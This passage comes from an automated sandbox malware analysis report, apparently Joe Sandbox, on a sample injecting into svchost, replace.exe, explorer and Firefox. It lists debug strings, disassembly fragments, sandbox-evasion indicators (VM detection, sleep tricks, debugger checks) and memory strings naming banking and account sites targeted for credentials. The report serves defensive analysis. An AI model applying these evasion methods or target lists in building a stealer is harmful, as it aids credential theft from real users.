            Source: Binary string: replace.pdbGCTL source: svchost.exe, 00000002.00000003.1421070272.000000000081A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1452377749.0000000000800000.00000004.00000020.00020000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000003.00000002.3181935717.00000000013D7000.00000004.00000020.00020000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000003.00000003.1394304675.00000000013EB000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: ZndDLeJFrzJRB.exe, 00000003.00000002.3181022693.00000000000AE000.00000002.00000001.01000000.00000004.sdmp, ZndDLeJFrzJRB.exe, 00000006.00000000.1517156171.00000000000AE000.00000002.00000001.01000000.00000004.sdmp
            Source: Binary string: wntdll.pdbUGP source: UNGSno5k4G.exe, 00000000.00000003.1351971241.0000000004700000.00000004.00001000.00020000.00000000.sdmp, UNGSno5k4G.exe, 00000000.00000003.1351840729.0000000004560000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1356492656.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1452539529.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1452539529.000000000309E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1358499508.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000003.1454243350.000000000319F000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000003.1452379919.0000000002FE3000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000002.2381334909.00000000034EE000.00000040.00001000.00020000.00000000.sdmp, replace.exe, 00000004.00000002.2381334909.0000000003350000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: UNGSno5k4G.exe, 00000000.00000003.1351971241.0000000004700000.00000004.00001000.00020000.00000000.sdmp, UNGSno5k4G.exe, 00000000.00000003.1351840729.0000000004560000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.1356492656.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1452539529.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1452539529.000000000309E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1358499508.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, replace.exe, replace.exe, 00000004.00000003.1454243350.000000000319F000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000003.1452379919.0000000002FE3000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000004.00000002.2381334909.00000000034EE000.00000040.00001000.00020000.00000000.sdmp, replace.exe, 00000004.00000002.2381334909.0000000003350000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: svchost.pdb source: replace.exe, 00000004.00000002.2381999240.000000000397C000.00000004.10000000.00040000.00000000.sdmp, replace.exe, 00000004.00000002.2379954988.0000000000BE0000.00000004.00000020.00020000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000006.00000000.1517720681.00000000031DC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.1743747539.0000000024E8C000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: svchost.pdbUGP source: replace.exe, 00000004.00000002.2381999240.000000000397C000.00000004.10000000.00040000.00000000.sdmp, replace.exe, 00000004.00000002.2379954988.0000000000BE0000.00000004.00000020.00020000.00000000.sdmp, ZndDLeJFrzJRB.exe, 00000006.00000000.1517720681.00000000031DC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.1743747539.0000000024E8C000.00000004.80000000.00040000.00000000.sdmp
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,0_2_0040EB70
            Source: UNGSno5k4G.exeStatic PE information: real checksum: 0xa2135 should be: 0x148a62
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004171D1 push ecx; ret 0_2_004171E4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042D853 push edi; iretd 2_2_0042D85C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00414079 pushfd ; iretw 2_2_004140C6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00418027 push ds; ret 2_2_00418028
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041A036 push edi; ret 2_2_0041A03F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00414158 push edi; ret 2_2_00414159
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040D1BA push ss; retf 2_2_0040D1BB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040222C push ecx; retf 2_2_0040231F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041AA87 push edi; iretd 2_2_0041AA93
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040D3DC push es; ret 2_2_0040D3E2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00415474 push edx; ret 2_2_00415475
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041543B push ebp; iretd 2_2_0041543C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004034A0 push eax; ret 2_2_004034A2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00418D13 push edi; ret 2_2_00418D14
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00408682 push fs; iretd 2_2_00408684
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00413F43 pushfd ; iretw 2_2_004140C6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00417F3A push ecx; retf 2_2_00417F3B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F0225F pushad ; ret 2_2_02F027F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F027FA pushad ; ret 2_2_02F027F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F0283D push eax; iretd 2_2_02F02858
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F309AD push ecx; mov dword ptr [esp], ecx2_2_02F309B6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F01368 push eax; iretd 2_2_02F01369
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033809AD push ecx; mov dword ptr [esp], ecx4_2_033809B6
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00AE0294 push 8DB602B4h; retf 4_2_00AE029A
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00AEA3B0 push edi; iretd 4_2_00AEA3B9
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00AD0AA0 pushfd ; iretw 4_2_00AD0C23
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00AD4A97 push ecx; retf 4_2_00AD4A98
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00AD4B84 push ds; ret 4_2_00AD4B85
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00AD6B93 push edi; ret 4_2_00AD6B9C
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00AC51DF push fs; iretd 4_2_00AC51E1
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00AD9B0A pushad ; retf 4_2_00AD9B0C
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004772DE IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_004772DE
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_004375B0
            Source: C:\Windows\SysWOW64\replace.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX

            Malware Analysis System Evasion

            barindex
            Contains functionality to detect sleep reduction / modifications
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004440780_2_00444078
            Query firmware table information (likely to detect VMs)
            Source: C:\Windows\explorer.exeSystem information queried: FirmwareTableInformation
            Switches to a custom stack to bypass stack traces
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeAPI/Special instruction interceptor: Address: 40BA71C
            Source: C:\Windows\SysWOW64\replace.exeAPI/Special instruction interceptor: Address: 7FF90818D324
            Source: C:\Windows\SysWOW64\replace.exeAPI/Special instruction interceptor: Address: 7FF90818D7E4
            Source: C:\Windows\SysWOW64\replace.exeAPI/Special instruction interceptor: Address: 7FF90818D944
            Source: C:\Windows\SysWOW64\replace.exeAPI/Special instruction interceptor: Address: 7FF90818D504
            Source: C:\Windows\SysWOW64\replace.exeAPI/Special instruction interceptor: Address: 7FF90818D544
            Source: C:\Windows\SysWOW64\replace.exeAPI/Special instruction interceptor: Address: 7FF90818D1E4
            Source: C:\Windows\SysWOW64\replace.exeAPI/Special instruction interceptor: Address: 7FF908190154
            Source: C:\Windows\SysWOW64\replace.exeAPI/Special instruction interceptor: Address: 7FF90818DA44
            Source: C:\Windows\explorer.exeFile opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}Jump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041480C rdtsc 2_2_0041480C
            Source: C:\Windows\SysWOW64\replace.exeWindow / User API: threadDelayed 791Jump to behavior
            Source: C:\Windows\SysWOW64\replace.exeWindow / User API: threadDelayed 9182Jump to behavior
            Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 574
            Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 554
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeAPI coverage: 3.3 %
            Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.7 %
            Source: C:\Windows\SysWOW64\replace.exeAPI coverage: 2.7 %
            Source: C:\Windows\SysWOW64\replace.exe TID: 6732Thread sleep count: 791 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\replace.exe TID: 6732Thread sleep time: -1582000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\replace.exe TID: 6732Thread sleep count: 9182 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\replace.exe TID: 6732Thread sleep time: -18364000s >= -30000sJump to behavior
            Source: C:\Program Files (x86)\jrZfzqFVPlYgowwDRCDhKhuyMtTcRERYUnLmiCAseyZTUtLTLpm\ZndDLeJFrzJRB.exe TID: 7136Thread sleep time: -110000s >= -30000sJump to behavior
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452126
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,0_2_0045C999
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,0_2_00436ADE
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00434BEE
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0045DD7C FindFirstFileW,FindClose,0_2_0045DD7C
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD29
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,0_2_00436D2D
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442E1F
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00475FE5
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8D
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00ADC230 FindFirstFileW,FindNextFileW,FindClose,4_2_00ADC230
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_0040E470
            Source: 6U0173jM.4.drBinary or memory string: global block list test formVMware20,11696497155
            Source: 6U0173jM.4.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
            Source: explorer.exe, 0000000C.00000002.3190243270.000000000C1D7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: _VMware_SATA_CD00#4&
            Source: explorer.exe, 0000000C.00000002.3190243270.000000000C02B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
            Source: explorer.exe, 0000000C.00000002.3190243270.000000000C11F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
            Source: 6U0173jM.4.drBinary or memory string: ms.portal.azure.comVMware20,11696497155
            Source: 6U0173jM.4.drBinary or memory string: bankofamerica.comVMware20,11696497155x
            Source: explorer.exe, 0000000C.00000002.3190243270.000000000C00A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
            Source: 6U0173jM.4.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
            Source: 6U0173jM.4.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
            Source: 6U0173jM.4.drBinary or memory string: interactivebrokers.co.inVMware20,11696497155d
            Source: 6U0173jM.4.drBinary or memory string: Canara Transaction PasswordVMware20,11696497155x
            Source: explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: NXTtorDVMWare
            Source: replace.exe, 00000004.00000002.2379954988.0000000000BE0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll"+
            Source: explorer.exe, 0000000C.00000002.3190243270.000000000BFAF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware SATA CD00
            Source: 6U0173jM.4.drBinary or memory string: Canara Transaction PasswordVMware20,11696497155}
            Source: 6U0173jM.4.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
            Source: 6U0173jM.4.drBinary or memory string: account.microsoft.com/profileVMware20,11696497155u
            Source: explorer.exe, 0000000C.00000002.3190243270.000000000BFAF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMware Virtual disk SCSI Disk Device
            Source: 6U0173jM.4.drBinary or memory string: discord.comVMware20,11696497155f
            Source: explorer.exe, 0000000C.00000002.3190243270.000000000BFAF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWpl@
            Source: 6U0173jM.4.drBinary or memory string: netportal.hdfcbank.comVMware20,11696497155
            Source: 6U0173jM.4.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
            Source: 6U0173jM.4.drBinary or memory string: outlook.office.comVMware20,11696497155s
            Source: explorer.exe, 0000000C.00000002.3190243270.000000000BFAF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWystem32\DriverStore\en-GB\usbhub3.inf_loc
            Source: 6U0173jM.4.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
            Source: 6U0173jM.4.drBinary or memory string: dev.azure.comVMware20,11696497155j
            Source: 6U0173jM.4.drBinary or memory string: turbotax.intuit.comVMware20,11696497155t
            Source: explorer.exe, 0000000C.00000002.3190243270.000000000C061000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}z
            Source: UNGSno5k4G.exe, 00000000.00000002.1355965848.00000000008CE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 4f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
            Source: 6U0173jM.4.drBinary or memory string: Interactive Brokers - HKVMware20,11696497155]
            Source: 6U0173jM.4.drBinary or memory string: secure.bankofamerica.comVMware20,11696497155|UE
            Source: 6U0173jM.4.drBinary or memory string: tasks.office.comVMware20,11696497155o
            Source: 6U0173jM.4.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696497155
            Source: 6U0173jM.4.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
            Source: firefox.exe, 00000008.00000002.1745017126.000001B9A4DBD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
            Source: 6U0173jM.4.drBinary or memory string: trackpan.utiitsl.comVMware20,11696497155h
            Source: ZndDLeJFrzJRB.exe, 00000006.00000002.3182279379.00000000011EF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllu
            Source: explorer.exe, 0000000C.00000002.3190243270.000000000C061000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
            Source: 6U0173jM.4.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696497155
            Source: 6U0173jM.4.drBinary or memory string: interactivebrokers.comVMware20,11696497155
            Source: 6U0173jM.4.drBinary or memory string: AMC password management pageVMware20,11696497155
            Source: 6U0173jM.4.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
            Source: explorer.exe, 0000000C.00000002.3190243270.000000000C061000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}8
            Source: 6U0173jM.4.drBinary or memory string: outlook.office365.comVMware20,11696497155t
            Source: 6U0173jM.4.drBinary or memory string: www.interactivebrokers.comVMware20,11696497155}
            Source: explorer.exe, 0000000C.00000002.3181316702.00000000007C8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
            Source: 6U0173jM.4.drBinary or memory string: microsoft.visualstudio.comVMware20,11696497155x
            Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041480C rdtsc 2_2_0041480C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004175E3 LdrLoadDll,2_2_004175E3
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0045A259 BlockInput,0_2_0045A259
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D6D0
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,0_2_0040EB70
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_040B9338 mov eax, dword ptr fs:[00000030h]0_2_040B9338
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_040BA988 mov eax, dword ptr fs:[00000030h]0_2_040BA988
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_040BA9E8 mov eax, dword ptr fs:[00000030h]0_2_040BA9E8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F402E1 mov eax, dword ptr fs:[00000030h]2_2_02F402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F402E1 mov eax, dword ptr fs:[00000030h]2_2_02F402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F402E1 mov eax, dword ptr fs:[00000030h]2_2_02F402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03008324 mov eax, dword ptr fs:[00000030h]2_2_03008324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03008324 mov ecx, dword ptr fs:[00000030h]2_2_03008324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03008324 mov eax, dword ptr fs:[00000030h]2_2_03008324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03008324 mov eax, dword ptr fs:[00000030h]2_2_03008324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]2_2_02F3A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]2_2_02F3A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]2_2_02F3A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]2_2_02F3A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F3A2C3 mov eax, dword ptr fs:[00000030h]2_2_02F3A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0300634F mov eax, dword ptr fs:[00000030h]2_2_0300634F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F402A0 mov eax, dword ptr fs:[00000030h]2_2_02F402A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F402A0 mov eax, dword ptr fs:[00000030h]2_2_02F402A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC62A0 mov eax, dword ptr fs:[00000030h]2_2_02FC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC62A0 mov ecx, dword ptr fs:[00000030h]2_2_02FC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC62A0 mov eax, dword ptr fs:[00000030h]2_2_02FC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC62A0 mov eax, dword ptr fs:[00000030h]2_2_02FC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC62A0 mov eax, dword ptr fs:[00000030h]2_2_02FC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC62A0 mov eax, dword ptr fs:[00000030h]2_2_02FC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6E284 mov eax, dword ptr fs:[00000030h]2_2_02F6E284
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F6E284 mov eax, dword ptr fs:[00000030h]2_2_02F6E284
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB0283 mov eax, dword ptr fs:[00000030h]2_2_02FB0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB0283 mov eax, dword ptr fs:[00000030h]2_2_02FB0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FB0283 mov eax, dword ptr fs:[00000030h]2_2_02FB0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]2_2_02FE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]2_2_02FE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]2_2_02FE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]2_2_02FE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE0274 mov eax, dword ptr fs:[00000030h]2_2_02FE0274
